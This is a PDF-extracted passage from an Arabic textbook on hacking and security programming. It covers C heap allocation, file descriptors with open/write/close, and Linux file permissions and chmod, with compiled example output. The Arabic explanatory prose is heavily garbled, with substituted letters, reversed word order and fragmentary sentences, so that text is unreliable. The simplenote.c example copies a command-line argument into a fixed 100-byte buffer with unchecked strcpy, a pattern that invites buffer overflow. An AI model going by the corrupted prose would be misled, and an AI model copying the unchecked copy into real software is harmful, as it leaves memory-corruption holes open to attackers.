memory ‫لنا‬ ‫جزه‬ َ‫ح‬ ‫َم‬‫ت‬ ‫الذي‬ ‫ذذا‬ ‫يف‬ ‫ترى‬ ‫كام‬ :‫السطر‬ strcpy(char_ptr, "This is memory is located on the heap."); ‫ال‬ ‫ذذا‬ ‫عنوان‬ ‫بطباعة‬ ‫نقوم‬ ‫ثم‬ block ‫ال‬ ‫باستخدام‬ operator ( %p ،) :‫بداطله‬ ‫التي‬ ‫واجلملة‬ printf("char_ptr (%p) --> '%s'n", char_ptr, char_ptr); ُ‫ق‬ ‫ثم‬ ‫بعمل‬ ‫منا‬ allocation ‫بارش‬ُ‫م‬ ‫بشكل‬ ‫ذا‬ُ‫ُريد‬‫ن‬ ‫التي‬ ‫ساحة‬‫امل‬ ‫ددنا‬ َ‫ح‬ ‫ولكن‬ ‫أطرى‬ ً‫ة‬‫مر‬ " 12 Bytes " int_ptr = (int *) malloc(12); ‫ال‬ ‫الحظ‬ Cast ‫اىل‬ ‫ذنا‬ int ‫العدد‬ ‫لها‬‫بداط‬ ‫سنضع‬ ‫ألننا‬ " 31337 ." . ‫ال‬ ‫ناسبة‬ُ‫بم‬ pointers ‫ال‬ ‫ذذه‬ ‫معنى‬ ‫ما‬ ‫يل‬ ‫ل‬ُ‫ق‬ .. Instruction ‫؟‬ *int_ptr = 31337;
  • 76.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [76] ‫بعمل‬ ‫نقوم‬ ‫ثم‬ free ‫لل‬ heap :‫موضح‬ ‫ذو‬ ‫كام‬ printf("t[-] freeing int_ptr's heap memory...n"); free(int_ptr); // Freeing heap memory printf("t[-] freeing char_ptr's heap memory...n"); free(char_ptr); // Freeing the other block of heap memory :‫الكود‬ ‫نتائج‬ ‫ماييل‬ reader@hacking:~/booksrc $ gcc -o heap_example heap_example.c reader@hacking:~/booksrc $ ./heap_example [+] allocating 50 bytes of memory on the heap for char_ptr char_ptr (0x804a008) --> 'This is memory is located on the heap.' [+] allocating 12 bytes of memory on the heap for int_ptr int_ptr (0x804a040) --> 31337 [-] freeing char_ptr's heap memory... [+] allocating another 15 bytes for char_ptr char_ptr (0x804a050) --> 'new memory' [-] freeing int_ptr's heap memory... [-] freeing char_ptr's heap memory... reader@hacking:~/booksrc $ ‫ال‬ ‫من‬ ‫انتهينا‬ ‫قد‬ ‫نكون‬ ‫ذنا‬ ‫لىل‬ Heap . ،!‫هم‬ُ‫م‬ ‫موضوع‬ ‫لىل‬ ‫ننتقل‬ َ ‫س‬ ..‫القادمة‬ ‫الفصول‬ ‫يف‬ ً‫ا‬‫كثري‬ ُ‫ه‬‫م‬‫نستخد‬ َ ‫س‬ ‫ال‬ ‫عن‬ ‫سنتكلم‬ “Flie Descriptors” .
  • 77.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [77] File Access ‫ملف‬ ً‫ال‬‫مث‬ ،‫جهازك‬ ‫عىل‬ ‫ما‬ ٍ ‫ملف‬ ‫بفتح‬ ‫ترغب‬ ‫عندما‬ Notepad ‫ال‬ ‫يف‬ ‫ث‬ُ‫د‬ َ ‫حي‬ ‫مالذي‬ ، Operating System ‫يتم‬ ‫عندما‬ َ‫مل‬‫ا‬ ‫تح‬َ‫ق‬ ‫أمامك؟‬ ‫لف‬ . ‫بإنشاء‬ ‫لديك‬ ‫التشغيل‬ ‫نظام‬ ‫يقوم‬ Entry ‫لف‬َ‫مل‬‫ا‬ ‫ِبذا‬ ‫قة‬ِّ‫ل‬‫َع‬‫ت‬ُ‫مل‬‫ا‬ ‫البيانات‬ ‫قيه‬ ‫ن‬ ِّ‫َز‬ ُ ‫خي‬ ،)‫امللف‬ ‫ذذا‬ ‫قتح‬ ‫(عملية‬ ‫العملية‬ ‫هلذه‬ ‫ال‬ ‫ذذا‬ ‫عن‬ ‫بالتعبري‬ ‫ويقوم‬ Entry ً‫ال‬‫مث‬ ..‫برقم‬ 100 ‫الرقم‬ ‫ذذا‬ ، unique ‫امللف‬ ‫هلذا‬ ‫يف‬ ‫امللفات‬ ‫من‬ ‫عدد‬ ‫قتح‬ ‫أردت‬ ‫قإذا‬ ، ً‫ال‬‫مث‬ ‫الوقت‬ ‫نفس‬ ‫بتكوين‬ ‫التشغيل‬ ‫نظام‬ ‫سيقوم‬ ،‫ملفات‬ ‫عرشة‬ " 10 Entries ،" ‫ال‬ ‫ذذه‬ ‫تتخزن‬ Entries ‫ما‬ ٍ‫مكان‬ ‫يف‬ ‫ال‬ ‫داطل‬ Kernel ‫أرقام‬‫ب‬ ‫م‬ُ‫نه‬َ‫ع‬ ‫رب‬َ‫ع‬ُ‫ي‬‫و‬ ، (100, 101, 102, 103,…109) . ‫ليها‬َ‫ع‬ ‫ق‬َ‫ل‬‫ط‬ُ‫ي‬ ‫األرقام‬ ‫ذذه‬ " File Descriptors ." ‫ال‬ ‫ذو‬ ‫قام‬ File Descriptor ‫؟‬ . “It is an integer number that uniquely represents an opened file in operating system” ‫قائدته؟‬ ‫ذي‬ ‫وما‬ . ‫يبدو‬ ‫ل‬َ‫م‬َ‫ع‬‫ل‬ ‫التشغيل‬ ‫ظام‬‫ن‬ ‫مها‬‫َخد‬‫ت‬‫س‬َ‫ي‬ ‫طريقة‬ ‫أهنا‬ Tracking ‫املفتوح‬ ‫للملفات‬ ‫ة‬ .‫ديه‬َ‫ل‬ ‫ال‬ ‫ذذه‬ ‫م‬‫َخد‬‫ت‬‫َس‬‫ت‬ file descriptors ‫ال‬ ‫من‬ ‫جمموعة‬ ( Low-Level Functions ) ،‫امللفات‬ ‫مع‬ ‫للتعامل‬ ‫أمه‬ ‫نذكر‬ :‫ها‬ open(), close(), read(), and write() ‫ال‬ ‫ذذه‬ functions ‫بإرجاع‬ ‫تقوم‬ (-1) ‫أي‬ ‫حدوث‬ ‫حالة‬ ‫يف‬ Error . ‫ال‬ ‫يرشح‬ ‫مثال‬ ‫ُعطي‬‫ن‬ َ ‫س‬ file descriptor ‫ال‬ ‫وبعض‬ low-level functions .
  • 78.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [78] ‫ييل‬ ‫قيام‬ ‫باستقبال‬ ‫يقوم‬ ‫برنامج‬ note ‫صري‬َ‫ق‬ ‫لة‬ ُ ‫مج‬ ‫أو‬ ‫ة‬ ‫يئة‬َ‫ذ‬ ‫عىل‬ ‫نك‬‫م‬ command-line argument ‫م‬ُ‫ث‬ ‫لف‬َ‫م‬ ‫تح‬َ‫ف‬‫ب‬ ‫قوم‬َ‫ي‬ ‫ل‬َ‫م‬َ‫ع‬‫ب‬ ‫يقوم‬ ‫لن‬ ‫أنه‬ ‫(بمعنى‬ ‫لف‬َ‫مل‬‫ا‬ ‫ذذا‬ ‫اية‬‫هن‬ ‫يف‬ ‫ملة‬ُ‫جل‬‫ا‬ ‫ه‬‫ذ‬َ‫ذ‬ ‫ولضاقة‬ overwrite ‫ذذا‬..)‫ت‬َ‫د‬‫ج‬ُ‫و‬ ‫لن‬ ،‫بداطله‬ ‫التي‬ ‫للبيانات‬ :‫ييل‬ ‫كام‬ ُ‫ه‬‫مسار‬ ‫امللف‬ /tmp/notes ‫م‬‫َخد‬‫ت‬‫نس‬ َ ‫س‬ ‫أننا‬ ‫تتوقع‬ ‫وأن‬ ‫د‬ُ‫ب‬‫ال‬ ..‫نبدأ‬ ‫أن‬ ‫قبل‬ open( ) ‫و‬ ،‫لف‬َ‫مل‬‫ا‬ ‫ك‬‫ذل‬ ‫َح‬‫ت‬‫َف‬‫ن‬‫ل‬ write( ) ‫ُب‬‫ت‬‫َك‬‫ن‬‫ل‬ ‫نا‬َ‫ل‬ ‫ُعطيه‬‫ت‬‫س‬ ‫ما‬ ‫له‬‫داط‬ ‫و‬ ، close( ) .‫اإلنتهاء‬ ‫عد‬َ‫ب‬ ‫بإغالقه‬ ‫َقوم‬‫ن‬‫ل‬ ‫أن‬ ‫لال‬ open( ) َ‫ب‬‫صحو‬َ‫م‬ ً‫ام‬‫دائ‬ ‫تأيت‬ ‫ذذه‬ ‫ة‬ ‫بال‬ ‫قة‬ِّ‫ل‬َ‫ع‬َ‫ت‬ُ‫مل‬‫ا‬ ‫التفاصيل‬ ‫عض‬َ‫ب‬‫ب‬ Access Mode .. ‫سيكون‬ ‫ذل‬ Read only ،‫؟‬ ‫أم‬ Write only ،‫؟‬ ‫ُسمى‬‫ت‬ ‫التفاصيل‬ ‫ذذه‬.. ‫؟‬ً‫ا‬‫مع‬ ‫اإلثنان‬ ‫أم‬ " Flags " . ‫ما‬ ‫ييل‬ :‫نها‬‫م‬ ً‫ا‬‫عض‬َ‫ب‬ O_RDONLY Open file for read-only access. O_WRONLY Open file for write-only access. O_RDWR Open file for both read and write access. O_APPEND Write data at the end of the file. O_TRUNC If the file already exists, truncate the file to 0 length. O_CREAT Create the file if it doesn’t exist. ‫ال‬ ‫تتمكن‬ ‫لكي‬ open( ) ‫ال‬ ‫ذذه‬ ‫استخدام‬ ‫من‬ flags ‫ل‬َ‫م‬َ‫ع‬‫ل‬ ‫سنحتاج‬ include ‫ال‬ ‫ذه‬َ‫هل‬ Lib fcntl.h #include <fcntl.h> ‫ل‬َ‫م‬َ‫ع‬ ّ‫ا‬‫أيض‬ ‫ظ‬‫ُالح‬‫ت‬ َ ‫س‬ include ‫ل‬ library ‫ُسمى‬‫ت‬ ‫جديدة‬ " sys/stat.h " ، ‫يوجد‬ flags ‫لل‬ ‫ن‬‫مك‬ُ‫ي‬ ‫أطرى‬ open( ) ‫بال‬ ‫تتعلق‬ ،‫استخدامها‬ " file permissions " .. ‫هلم‬ ‫سنأيت‬ .‫قليل‬ ‫بعد‬ ‫الربنامج‬ ‫كود‬ ‫لىل‬ ‫نأيت‬ :
  • 79.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [79] #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <sys/stat.h> void usage(char *prog_name, char *filename) { printf("Usage: %s <data to add to %s>n", prog_name, filename); exit(0); } void fatal(char *); // A function for fatal errors void *ec_malloc(unsigned int); // An error-checked malloc() wrapper int main(int argc, char *argv[]) { int fd; // file descriptor char *buffer, *datafile; buffer = (char *) ec_malloc(100); datafile = (char *) ec_malloc(20); strcpy(datafile, "/tmp/notes"); if(argc < 2) // If there aren't command-line arguments, usage(argv[0], datafile); // display usage message and exit. strcpy(buffer, argv[1]); // Copy into buffer. printf("[DEBUG] buffer @ %p: '%s'n", buffer, buffer); printf("[DEBUG] datafile @ %p: '%s'n", datafile, datafile); strncat(buffer, "n", 1); // Add a newline on the end. // Opening file fd = open(datafile, O_WRONLY | O_CREAT | O_APPEND, S_IRUSR | S_IWUSR); if(fd == -1) fatal("in main() while opening file");
  • 80.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [80] printf("[DEBUG] file descriptor is %dn", fd); // Writing data if(write(fd, buffer, strlen(buffer)) == -1) fatal("in main() while writing buffer to file"); // Closing file if(close(fd) == -1) fatal("in main() while closing file"); printf("Note has been saved.n"); free(buffer); free(datafile); } // A function to display an error message and then exit void fatal(char *message) { char error_message[100]; strcpy(error_message, "[!!] Fatal Error "); strncat(error_message, message, 83); perror(error_message); exit(-1); } // An error-checked malloc( ) wrapper function void *ec_malloc(unsigned int size) { void *ptr; ptr = malloc(size); if(ptr == NULL) fatal("in ec_malloc() on memory allocation"); return ptr; }
  • 81.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [81] ‫من‬ ‫نبدأ‬ ‫ال‬ main( ) ‫الربنامج‬ ‫ل‬‫َقب‬‫ت‬‫س‬َ‫ي‬ ُ ‫حيث‬ command-line arguments ، ‫م‬َ‫ل‬‫َع‬‫ت‬ ‫َام‬‫ك‬‫و‬ arg[0] ‫الربنامج‬ ‫اسم‬ َ‫ي‬‫ذ‬ ،‫نفسه‬ simplenote.c ‫ال‬ ‫قية‬َ‫ب‬ ‫م‬ُ‫ث‬ ، arguments .!‫َحن‬‫ن‬ ُ‫ه‬‫ل‬‫ط‬‫ُد‬‫ن‬ َ ‫س‬ ‫ما‬ َ‫ي‬‫ذ‬ ‫تغري‬ُ‫م‬ ‫َعريف‬‫ت‬‫ب‬ ‫نا‬‫م‬ُ‫ق‬ int ‫ال‬ ‫قيمة‬ ‫ل‬‫حم‬َ‫ي‬ َ ‫س‬ ، file descriptor ‫َحديد‬‫ت‬‫ب‬ ‫نا‬‫م‬ُ‫ق‬‫و‬ " pointers on strings " ‫ا‬ ُ ‫مه‬ buffer ‫و‬ datafile ‫ال‬ ‫قامت‬ ‫م‬ُ‫ث‬ ، ec_malloc( ) ‫قدارذا‬‫م‬ ‫ساحة‬‫م‬ ‫نا‬َ‫ل‬ ‫جز‬َ‫ح‬‫ب‬ 100 bytes ‫لل‬ buffer ‫ال‬ ‫عمل‬ ‫مع‬ casting ‫ن‬‫م‬ ‫ال‬ ‫ختزين‬ ‫أجل‬ string ‫بداطله‬ . ‫نا‬َ‫ل‬ ‫جز‬َ‫ح‬‫ب‬ ‫قامت‬ ً‫ا‬‫أيض‬ ‫م‬ُ‫ث‬ 20 bytes ‫لل‬ datafile ، ‫ال‬ ‫ذذا‬ ‫داطل‬ ‫نضع‬ َ ‫س‬ ‫لكن‬ datafile ‫ل‬ ُ ‫مج‬ ‫ة‬ ‫ثابت‬ ‫ة‬ ‫بداطله‬ ‫سنضعها‬ ! ‫باستخدام‬ strcpy( ) .. ‫مل‬ُ‫جل‬‫ا‬ ‫ذذه‬ ‫ة‬ :‫ستكون‬ “/tmp/notes” ‫ال‬ ‫ذذا‬ ‫استدعينا‬ ‫ما‬ ‫قمتى‬ datafile ‫ي‬ َ ‫س‬ ‫ال‬ ‫لىل‬ ‫بنا‬ ‫ذذب‬ /tmp/notes ‫ال‬ ‫لدطال‬ ‫عملية‬ ‫من‬ ‫وللتأكد‬ arguments ‫دالة‬ ‫باستخدام‬ ‫رشط‬ ‫وضع‬ ‫تم‬ if :‫ييل‬ ‫كام‬ If (argc < 2) usage(argv[0], datafile); ‫السطر‬ ‫ذذا‬ usage(argv[0], datafile) ‫يعني‬ : ُ‫ق‬ ‫ال‬ ‫لىل‬ ‫بالذذاب‬ ‫م‬ usage( ) ‫ال‬ ‫ذذه‬ ‫معك‬ ً‫ا‬‫آطذ‬ parameters : Argv[0]which is: simplenote.c, and datafile which is: /tmp/notes ‫ال‬ ‫ذذه‬ parameters ‫ست‬ ‫كون‬ ُ‫م‬ ‫لل‬ ‫دطالت‬ function ‫املسام‬ ‫ة‬ void usage : void usage(char *prog_name, char *filename) { printf("Usage: %s <data to add to %s>n", prog_name, filename); exit(0); }
  • 82.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [82] ‫الحظ‬ ‫أهنا‬ void ‫بم‬ ‫عني‬ ُ‫ه‬‫أن‬ ‫ذناك‬ ‫يكون‬ ‫لن‬ return value ‫ال‬ ‫لىل‬ main( ) . .!‫ومتعلقاته‬ ‫الرشط‬ ‫ينتهي‬ ‫ذنا‬ ‫لىل‬ ‫و‬ ‫ال‬ ‫لدطالنا‬ ‫حالة‬ ‫يف‬ arg[1] ، ‫وذي‬ “this is test note” ، ‫َسخ‬‫ن‬‫ب‬ ‫سنقوم‬ ‫ال‬ ‫لىل‬ ‫ها‬ buffer ، ‫تقوم‬ ‫وبعدذا‬ printf( ) ‫ط‬‫ب‬ ‫ِبا‬ ‫اخلاص‬ ‫العنوان‬ ‫وطباعة‬ ‫باعتها‬ .. " Address of buffer, and buffer " ‫نها‬‫م‬ ‫أسفل‬ printf( ) ‫ع‬َ‫ب‬‫َط‬‫ت‬ َ ‫س‬ ‫طرى‬ُ‫أ‬ :‫ماييل‬ " address of datafile string ،" ‫حمتو‬ ‫و‬ ‫ي‬ ‫ا‬ ‫هت‬ ‫ا‬ ‫أهنا‬ ‫ر‬‫ك‬َ‫َذ‬‫ت‬ string ‫ثابت‬ ‫ة‬ ‫امللف‬ ‫مسار‬ ‫وذي‬ “/tmp/notes” . ُ‫ث‬ :‫اليشء‬ ‫ذذا‬ ‫يأيت‬ ‫م‬ strncat ( buffer, "n", 1 ); :‫به‬ ‫ونعني‬ ‫بإضاقة‬ ‫م‬ُ‫ق‬ n ‫لىل‬ ‫ال‬ string .. ‫وذي‬ “this is test note” ‫والرقم‬ ،‫ملة‬ُ‫جل‬‫ا‬ ‫ذذه‬ ‫تنتهي‬ ‫أن‬ ‫بعد‬ ‫جديد‬ ‫سطر‬ ‫لبدأ‬ ‫بمعنى‬ ( 1 ) ‫أن‬ ‫يعني‬ ‫نا‬ُ‫ذ‬ “n” ‫صيص‬ َ ‫خت‬ ‫َم‬‫ت‬ ‫ذذه‬ 1 byte ‫املساح‬ َ‫ي‬‫وذ‬ ،‫هلا‬ ‫ة‬ ‫الرمز‬ ‫ذذا‬ ‫لها‬َ‫غ‬‫ش‬َ‫ي‬ ‫التي‬ ‫ال‬ ‫داطل‬ memory  . ‫وذو‬ ‫احللقة‬ ‫ملوضوع‬ ‫نأيت‬ ‫واآلن‬ low-level-functions : ‫ال‬ ‫ستقوم‬ open( ) ،‫امللف‬ ‫قتح‬ ‫بعملية‬ ‫ال‬ ‫من‬ ‫جمموعتني‬ ‫استخدمت‬ ‫أهنا‬ ‫ترى‬ ‫وكام‬ flags ، ‫املراد‬ ‫امللف‬ ‫مسار‬ ‫يسبقهم‬ .‫قتحه‬
  • 83.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [83] ‫األوىل‬ ‫املجموعة‬ ‫ثالثة‬ ‫من‬ ‫تتكون‬ flags ‫بينهم‬ ‫يفصل‬ | ‫أحد‬ ‫وذي‬ ‫ال‬ standard logic gates ‫تسمى‬ OR . ‫يمكنك‬ ‫الرجوع‬ ‫هل‬ ‫ال‬ ‫ذه‬ flags ‫نسيت‬ ‫لن‬ ‫دالالهتم‬ .. ‫قهي‬ ‫الثانية‬ ‫املجموعة‬ ‫ا‬ّ‫م‬‫أ‬ : S_IRUSR | S_IWUSR ‫لليهم‬ ‫سنأيت‬ ً‫ا‬‫أيض‬ ‫ال‬ ‫ققرة‬ ‫يف‬ Permissions . S_IRUSR Give the file read permission for the user (owner). S_IWUSR Give the file write permission for the user (owner). :‫الثالث‬ ‫ليات‬َ‫م‬َ‫ع‬‫ال‬ ‫ن‬‫م‬ ‫لية‬َ‫م‬َ‫ع‬ ‫أي‬ ‫ل‬ َ ‫ش‬َ‫ق‬ َ‫ند‬‫ع‬ ُ‫ه‬‫أن‬ ‫ظ‬‫الح‬ open, write, and close ‫لىل‬ ‫باالنتقال‬ ‫الربنامج‬ ‫سيقوم‬ fatal( ) ‫رسالة‬ َ ‫لك‬ ‫ر‬َ‫َظه‬‫ت‬‫ل‬ error .‫الربنامج‬ ‫ج‬‫طار‬ ‫روج‬ُ‫خل‬‫ا‬ ‫م‬ُ‫ث‬ ‫وتقوم‬ ‫لف‬َ‫مل‬‫ا‬ ‫ح‬‫ت‬َ‫ق‬ ‫قسيتم‬ ‫الطبيعية‬ ‫احلالة‬ ‫يف‬ ‫ا‬ّ‫م‬‫أ‬ printf( ) ‫رض‬َ‫ع‬‫ب‬ ‫ا‬ ‫ل‬ fd ‫العملية‬ ‫ِبذه‬ ‫اخلاص‬ . ‫ُر‬‫ك‬‫َذ‬‫ت‬ ‫ذل‬ ‫ذذا‬ ‫ال‬ file descriptor .‫؟‬ ‫ال‬ ‫تأيت‬ ‫م‬ُ‫ث‬ write( ) ‫ل‬‫َقب‬‫ت‬‫َس‬‫ت‬‫ل‬ string ‫ال‬ ‫ن‬‫م‬ buffer ‫ل‬‫داط‬ ‫ها‬‫ت‬َ‫ب‬‫تا‬‫ك‬ ‫هلا‬ ‫يتسنى‬ ‫َي‬‫ك‬ ‫ها‬‫ق‬ ُ‫أحر‬ ‫د‬َ‫د‬َ‫ع‬ ‫ساب‬‫حل‬ ‫تحتاج‬ َ ‫س‬ ‫وبالتايل‬ ‫ال‬ ‫تقوم‬ َ ‫س‬ ‫نا‬ُ‫ذ‬ ،‫لف‬َ‫مل‬‫ا‬ write( ) ‫استخدام‬‫ب‬ Function ‫با‬ ‫َقوم‬‫ت‬‫ل‬ ‫طرى‬ُ‫أ‬ ‫ال‬ ‫تويات‬ ُ ‫حم‬ ‫قبال‬‫ست‬ buffer ‫د‬َ‫د‬َ‫ع‬ ‫ساب‬‫وح‬ ‫ه‬‫ب‬ ‫ف‬ ُ‫األحر‬ .. ‫ال‬ ‫ه‬‫ذ‬َ‫ذ‬ function ‫ى‬‫ُسم‬‫ت‬ strlen( ) . ‫ال‬ ‫نا‬َ‫ل‬ ‫تأيت‬ ‫م‬ُ‫ث‬ function َ‫ي‬‫وذ‬ ،‫لف‬َ‫مل‬‫ا‬ ‫ق‬‫ُغل‬‫ت‬‫ل‬ ‫األطرية‬ close( ) ، ‫سالة‬‫ر‬ ‫تام‬‫اخل‬ ‫يف‬ ‫ر‬َ‫َظه‬‫ت‬‫ل‬ : " note has been saved " ‫ل‬َ‫م‬َ‫ع‬ ‫م‬ُ‫ث‬ free ‫ال‬ َ‫ن‬‫م‬ ٍ‫ُل‬‫ك‬‫ل‬ buffer ‫و‬ datafile ‫ال‬ َ‫ن‬‫م‬ Heap . ‫بال‬ ‫اخلاص‬ ‫س‬‫و‬َ‫ق‬‫ال‬ ‫لق‬َ‫غ‬ ‫يتم‬َ‫و‬ main( ) .
  • 84.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [84] :‫النتائج‬ ‫ُشاذد‬‫ن‬‫ل‬ reader@hacking:~/booksrc $ gcc -o simplenote simplenote.c reader@hacking:~/booksrc $ ./simplenote Usage: ./simplenote <data to add to /tmp/notes> reader@hacking:~/booksrc $ ./simplenote "this is a test note" [DEBUG] buffer @ 0x804a008: 'this is a test note' [DEBUG] datafile @ 0x804a070: '/tmp/notes' [DEBUG] file descriptor is 3 Note has been saved. reader@hacking:~/booksrc $ cat /tmp/notes this is a test note reader@hacking:~/booksrc $ ./simplenote "great, it works" [DEBUG] buffer @ 0x804a008: 'great, it works' [DEBUG] datafile @ 0x804a070: '/tmp/notes' [DEBUG] file descriptor is 3 Note has been saved. reader@hacking:~/booksrc $ cat /tmp/notes this is a test note great, it works reader@hacking:~/booksrc $ reader@hacking:~/booksrc $
  • 85.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [85] File Permissions ‫ال‬ َ ‫َرب‬‫ت‬‫ع‬ُ‫ي‬ file permissions ‫األ‬ َ‫ن‬‫م‬ ‫التشغيل‬ ‫أنظمة‬ ‫يف‬ ‫ة‬ّ‫م‬‫ه‬ُ‫مل‬‫ا‬ ‫مور‬ ‫ال‬ َ‫ن‬‫م‬ ‫ة‬َ‫موع‬ َ ‫جم‬ ‫صيص‬ َ ‫خت‬ ‫َم‬‫ت‬ . flags ‫جمها‬َ‫د‬ ‫ُنا‬‫ن‬‫مك‬ُ‫ي‬ ‫التي‬ ‫وابة‬َ‫ب‬ ‫باستخدام‬ ً‫ا‬‫ع‬َ‫م‬ " OR ." ‫ال‬ ‫ذذه‬ flags َ‫ث‬ ‫لىل‬ ‫ة‬َ‫م‬‫قس‬ُ‫م‬ ‫أنو‬ ‫ة‬َ‫ث‬‫ال‬َ‫ث‬‫ل‬ ‫الحيات‬ َ ‫ص‬ ‫ُعطي‬‫ت‬‫ل‬ ‫موعات‬ َ ‫جم‬ ‫الث‬ :‫ييل‬ ‫كام‬ ،‫مني‬‫َخد‬‫ت‬‫س‬ُ‫مل‬‫ا‬ َ‫ن‬‫م‬ ‫اع‬ User (Owner) S_IRUSR Give the file read permission for the user (owner). S_IWUSR Give the file write permission for the user (owner). S_IXUSR Give the file execute permission for the user (owner). Group S_IRGRP Give the file read permission for the group. S_IWGRP Give the file write permission for the group. S_IXGRP Give the file execute permission for the group. Others S_IROTH Give the file read permission for other (anyone). S_IWOTH Give the file write permission for other (anyone). S_IXOTH Give the file execute permission for other (anyone). ‫التشغيل‬ ‫ظام‬‫ن‬ ‫يف‬ ‫لف‬َ‫م‬ ‫ُل‬‫ك‬‫ل‬ Linux ‫مني‬‫ستخد‬ُ‫مل‬‫ا‬ َ‫ن‬‫م‬ ‫أنواع‬ ‫ثالثة‬‫ل‬ ‫ى‬َ‫ط‬‫ُع‬‫ت‬ ‫التي‬ ‫الصالحيات‬ َ‫ن‬‫م‬ ‫موعة‬ َ ‫جم‬ : Owner, Group, and Others :‫ثال‬‫م‬‫ب‬ ‫ذذا‬ ‫د‬‫ُشاذ‬‫ن‬‫ل‬ reader@hacking:~/booksrc $ ls -l /etc/passwd simplenote* -rw-/r--/r-- 1 root root 1424 2015-09-06 09:45 /etc/passwd -rwx/r-x/r-x 1 reader reader 8457 2015-09-07 02:51 simplenote -rw-/---/--- 1 reader reader 1872 2015-09-07 02:51 simplenote.c reader@hacking:~/booksrc $
  • 86.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [86] ‫لف‬َ‫م‬ ‫أول‬ ‫أن‬ ‫ظ‬‫ُالح‬‫ن‬ /etc/passwd ‫الحيات‬ َ ‫ص‬ ‫لعطاء‬ ‫َم‬‫ت‬ " read and write " ‫ال‬ ‫لىل‬ owner ، ‫و‬ read ‫ال‬ ‫لىل‬ ‫ققط‬ group ، ‫و‬ read ‫ال‬ ‫لىل‬ ً‫ا‬‫أيض‬ others . ‫بتحديد‬ ‫منا‬ُ‫ق‬ ‫لذا‬ group ‫لضاقة‬ ‫ُنا‬‫ن‬‫مك‬ُ‫ي‬‫ق‬ ، users ‫ذذا‬ ‫لىل‬ group ‫ذذا‬ ‫الحيات‬ َ ‫ص‬ ‫كون‬‫متل‬َ‫ي‬ َ ‫س‬ ،‫لليه‬ ‫لضاقتهم‬ ‫جرد‬ُ‫م‬‫وب‬ ، group َ‫كان‬ ‫قإذا‬ ،! group ‫لل‬ Admins ‫ال‬ ‫صالحيات‬ ‫َح‬‫ن‬‫ُم‬‫ت‬ َ ‫س‬َ‫ق‬ Admin ‫ذا‬َ‫هل‬ ‫نتمي‬َ‫ي‬ ‫ن‬َ‫م‬ ‫ميع‬‫جل‬ group . َ‫ذ‬ :‫أكثر‬ ‫الصورة‬ ‫ح‬‫تتض‬ ‫َي‬‫ك‬ ‫ات‬ّ‫ي‬‫الصالح‬ ‫َعديل‬‫ت‬ ‫يه‬‫ق‬ ‫م‬‫ت‬َ‫ي‬ ‫ر‬ َ ‫آط‬ ‫ثال‬‫م‬ ‫د‬‫ُشاذ‬‫ن‬ ‫ا‬ّ‫ي‬ reader@hacking:~/booksrc $ chmod 731 simplenote.c reader@hacking:~/booksrc $ ls -l simplenote.c -rwx/-wx/--x 1 reader reader 1826 2007-09-07 02:51 simplenote.c reader@hacking:~/booksrc $ chmod ugo-wx simplenote.c reader@hacking:~/booksrc $ ls -l simplenote.c -r--/---/--- 1 reader reader 1826 2007-09-07 02:51 simplenote.c reader@hacking:~/booksrc $ chmod u+w simplenote.c reader@hacking:~/booksrc $ ls -l simplenote.c -rw-/---/--- 1 reader reader 1826 2007-09-07 02:51 simplenote.c reader@hacking:~/booksrc $ ‫لف‬َ‫للم‬ ‫َصاريح‬‫ت‬ ‫عطي‬ُ‫ي‬ َ ‫س‬ ُ‫ه‬‫أن‬ ‫األول‬ ‫السطر‬ ‫يف‬ ‫ظ‬‫الح‬ simplenote ‫األمر‬ ‫باستخدام‬ chmod :‫كالتايل‬ 7 for the owner, 3 for Group, and 1 for Others ‫تعني‬ ‫ماذا‬ 7 ‫ذذه؟؟‬ ً‫ا‬‫ن‬ َ ‫س‬ َ‫ح‬ ‫ة‬َ‫ل‬َ‫د‬‫عا‬ُ‫مل‬‫ا‬ ‫ذذه‬ ‫ل‬‫تأم‬ .. : ( 4 + 2 + 1 ) = 7 Since 4 is read flag, and 2 is write flag, and 1 is the execute flag!, then the sum is 7
  • 87.
